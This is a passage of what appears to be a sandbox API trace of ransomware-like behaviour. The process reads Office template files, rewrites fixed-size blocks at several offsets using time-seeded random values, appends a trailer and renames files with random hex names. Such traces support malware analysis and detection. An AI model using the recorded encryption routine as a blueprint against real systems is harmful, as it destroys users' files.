lpBuffer=0x389cfcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x389cfd08, lpOverlapped=0x0 | out: lpBuffer=0x389cfcc0*, lpNumberOfBytesRead=0x389cfd08*=0x4, lpOverlapped=0x0) returned 1 [0138.982] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0138.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ae30 [0138.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aec0 [0138.982] NtQuerySystemTime (in: CurrentTime=0x389cfc00 | out: CurrentTime=0x389cfc00*=132462177442294000) returned 0x0 [0138.982] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x4466763c [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x53b5836c [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x71ba597f [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x78ac3589 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x3ad41526 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x3499598d [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x783bb9a0 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x3235921e [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x78cf7bf7 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0xf017933 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x48c41ee8 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x72d092e [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x14c48e4e [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x783b729f [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x1bcbd4d8 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x60b71b51 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x2b1f0ede [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x6c3a7cfe [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x1b2b94a9 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x6dffb189 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x2cff3e6a [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x4c101e60 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x25c77689 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x3c903951 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x1694855 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x16e305f2 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x379cb676 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x78593f19 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x1560d147 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x42294c27 [0138.983] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x33201404 [0138.984] RtlRandomEx (in: Seed=0x389cfbf0 | out: Seed=0x389cfbf0) returned 0x18d4b327 [0138.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aef0 [0138.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0138.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205af20 [0138.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0138.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aec0) returned 1 [0138.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0138.994] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420f01c0 [0138.994] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.994] ReadFile (in: hFile=0x1e54, lpBuffer=0x420f01c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x389cfc60, lpOverlapped=0x0 | out: lpBuffer=0x420f01c0*, lpNumberOfBytesRead=0x389cfc60*=0x3c00, lpOverlapped=0x0) returned 1 [0139.087] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0139.087] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b1c0) returned 1 [0139.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42112140 [0139.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b1c0 [0139.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b280 [0139.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b280) returned 1 [0139.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.088] WriteFile (hFile=0x1e54, lpBuffer=0x42112140, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x389cfc60, lpOverlapped=0x0) [0170.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42112140) returned 1 [0170.800] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0xfd5c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.800] ReadFile (in: hFile=0x1e54, lpBuffer=0x420f01c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x389cfc60, lpOverlapped=0x0 | out: lpBuffer=0x420f01c0*, lpNumberOfBytesRead=0x389cfc60*=0x3c00, lpOverlapped=0x0) returned 1 [0170.897] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0xfd5c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.897] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0170.898] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0170.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4227d570 [0170.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0170.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0170.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0170.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.900] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.900] WriteFile (in: hFile=0x1e54, lpBuffer=0x4227d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x389cfc60, lpOverlapped=0x0 | out: lpBuffer=0x4227d570*, lpNumberOfBytesWritten=0x389cfc60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4227d570) returned 1 [0194.621] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x1fa20b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.621] ReadFile (in: hFile=0x1e54, lpBuffer=0x420f01c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x389cfc60, lpOverlapped=0x0 | out: lpBuffer=0x420f01c0*, lpNumberOfBytesRead=0x389cfc60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.754] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x1fa20b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c150 [0194.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b0b0 [0194.754] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31700 [0194.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31700) returned 1 [0194.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203825a0 [0194.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31700 [0194.755] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2c450 [0194.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2c450) returned 1 [0194.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b0b0) returned 1 [0194.757] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c150) returned 1 [0194.757] WriteFile (in: hFile=0x1e54, lpBuffer=0x203825a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x389cfc60, lpOverlapped=0x0 | out: lpBuffer=0x203825a0*, lpNumberOfBytesWritten=0x389cfc60*=0x3c00, lpOverlapped=0x0) returned 1 [0210.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203825a0) returned 1 [0210.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430ea010 [0210.245] SetFilePointerEx (in: hFile=0x1e54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0210.245] WriteFile (in: hFile=0x1e54, lpBuffer=0x134100*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x389cfd10, lpOverlapped=0x0 | out: lpBuffer=0x134100*, lpNumberOfBytesWritten=0x389cfd10*=0x14e, lpOverlapped=0x0) returned 1 [0217.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202650d0 [0217.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202650d0) returned 1 [0217.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202650d0 [0217.635] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202650a0 [0217.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264fe0 [0217.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264fe0) returned 1 [0217.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1ce62690 [0217.638] sprintf (in: _Dest=0x1ce62690, _Format="%c%c" | out: _Dest="1f") returned 2 [0217.638] sprintf (in: _Dest=0x1ce62692, _Format="%c%c" | out: _Dest="c4") returned 2 [0217.638] sprintf (in: _Dest=0x1ce62694, _Format="%c%c" | out: _Dest="b2") returned 2 [0217.638] sprintf (in: _Dest=0x1ce62696, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.638] sprintf (in: _Dest=0x1ce62698, _Format="%c%c" | out: _Dest="1d") returned 2 [0217.638] sprintf (in: _Dest=0x1ce6269a, _Format="%c%c" | out: _Dest="12") returned 2 [0217.638] sprintf (in: _Dest=0x1ce6269c, _Format="%c%c" | out: _Dest="75") returned 2 [0217.638] sprintf (in: _Dest=0x1ce6269e, _Format="%c%c" | out: _Dest="71") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626a0, _Format="%c%c" | out: _Dest="cb") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626a2, _Format="%c%c" | out: _Dest="d4") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626a4, _Format="%c%c" | out: _Dest="dd") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626a6, _Format="%c%c" | out: _Dest="f3") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626a8, _Format="%c%c" | out: _Dest="a8") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626aa, _Format="%c%c" | out: _Dest="60") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626ac, _Format="%c%c" | out: _Dest="15") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626ae, _Format="%c%c" | out: _Dest="f8") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626b0, _Format="%c%c" | out: _Dest="aa") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626b2, _Format="%c%c" | out: _Dest="62") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626b4, _Format="%c%c" | out: _Dest="60") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626b6, _Format="%c%c" | out: _Dest="ab") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626b8, _Format="%c%c" | out: _Dest="2f") returned 2 [0217.638] sprintf (in: _Dest=0x1ce626ba, _Format="%c%c" | out: _Dest="0c") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626bc, _Format="%c%c" | out: _Dest="52") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626be, _Format="%c%c" | out: _Dest="94") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626c0, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626c2, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626c4, _Format="%c%c" | out: _Dest="08") returned 2 [0217.639] sprintf (in: _Dest=0x1ce626c6, _Format="%c%c" | out: _Dest="61") returned 2 [0217.639] RtlInitAnsiString (in: DestinationString=0x389cfd88, SourceString="1fc4b27c1d127571cbd4ddf3a86015f8aa6260ab2f0c52944fa10861" | out: DestinationString="1fc4b27c1d127571cbd4ddf3a86015f8aa6260ab2f0c52944fa10861") [0217.639] RtlAnsiStringToUnicodeString (in: DestinationString=0x389cfd58, SourceString="1fc4b27c1d127571cbd4ddf3a86015f8aa6260ab2f0c52944fa10861", AllocateDestinationString=1 | out: DestinationString="1fc4b27c1d127571cbd4ddf3a86015f8aa6260ab2f0c52944fa10861") returned 0x0 [0217.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1cebbc60 [0217.639] wcscat (in: _Dest=0x4318b800, _Source="1fc4b27c1d1275" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275" [0217.639] wcscat (in: _Dest=0x4318b800, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275.2f9b60" [0217.640] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275.2f9b60", NtPathName=0x389cfd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\1fc4b27c1d1275.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.640] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4312bc20 Thread: id = 2117 os_tid = 0x144c [0138.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx")) returned 0x20 [0138.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx", dwFileAttributes=0x20) returned 1 [0138.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\IntroducingPowerPoint2010.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\introducingpowerpoint2010.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e24 [0138.944] GetFileSizeEx (in: hFile=0x1e24, lpFileSize=0x384efb40 | out: lpFileSize=0x384efb40*=17520191) returned 1 [0138.944] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x10b563b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.944] ReadFile (in: hFile=0x1e24, lpBuffer=0x384efac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x384efb08, lpOverlapped=0x0 | out: lpBuffer=0x384efac0*, lpNumberOfBytesRead=0x384efb08*=0x4, lpOverlapped=0x0) returned 1 [0139.034] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ad70 [0139.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205afe0 [0139.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b070 [0139.034] NtQuerySystemTime (in: CurrentTime=0x384efa00 | out: CurrentTime=0x384efa00*=132462177442762000) returned 0x0 [0139.034] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x62ff25f4 [0139.034] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2b3d1668 [0139.034] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x69c0d3d1 [0139.034] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x3d0a38d [0139.034] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x74a88c08 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x7ec42cb [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2825ef93 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x64ca9ee2 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x40d66a6c [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x6fe5428 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x6fd949d7 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x6d32c196 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2c59c1c8 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x3aecd9f4 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x7e51b167 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x6fc74ed1 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x7a063685 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x11ada899 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x75b46c6d [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x602b68da [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x6dc22201 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x97f976c [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x30b61c14 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2f591913 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x3a3603c0 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x267b8dc7 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x3c7182dd [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2474feef [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0xf5eb550 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x26204444 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x50f3e0d0 [0139.035] RtlRandomEx (in: Seed=0x384ef9f0 | out: Seed=0x384ef9f0) returned 0x2150b14e [0139.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0a0 [0139.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b0d0 [0139.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b070) returned 1 [0139.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0139.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420fb5f0 [0139.043] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.043] ReadFile (in: hFile=0x1e24, lpBuffer=0x420fb5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x384efa60, lpOverlapped=0x0 | out: lpBuffer=0x420fb5f0*, lpNumberOfBytesRead=0x384efa60*=0x3c00, lpOverlapped=0x0) returned 1 [0139.093] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b340 [0139.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b340) returned 1 [0139.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4211d570 [0139.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b340 [0139.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b370 [0139.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b370) returned 1 [0139.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.094] WriteFile (hFile=0x1e24, lpBuffer=0x4211d570, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x384efa60, lpOverlapped=0x0) [0170.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4211d570) returned 1 [0170.797] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x85d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.797] ReadFile (in: hFile=0x1e24, lpBuffer=0x420fb5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x384efa60, lpOverlapped=0x0 | out: lpBuffer=0x420fb5f0*, lpNumberOfBytesRead=0x384efa60*=0x3c00, lpOverlapped=0x0) returned 1 [0170.891] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x85d400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97490 [0170.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0170.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0170.892] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261e80) returned 1 [0170.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4219d570 [0170.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261e80 [0170.892] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263200 [0170.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263200) returned 1 [0170.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0170.893] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97490) returned 1 [0170.893] WriteFile (in: hFile=0x1e24, lpBuffer=0x4219d570*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x384efa60, lpOverlapped=0x0 | out: lpBuffer=0x4219d570*, lpNumberOfBytesWritten=0x384efa60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4219d570) returned 1 [0194.611] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x10b1a3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.611] ReadFile (in: hFile=0x1e24, lpBuffer=0x420fb5f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x384efa60, lpOverlapped=0x0 | out: lpBuffer=0x420fb5f0*, lpNumberOfBytesRead=0x384efa60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.711] SetFilePointerEx (in: hFile=0x1e24, liDistanceToMove=0x10b1a3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) 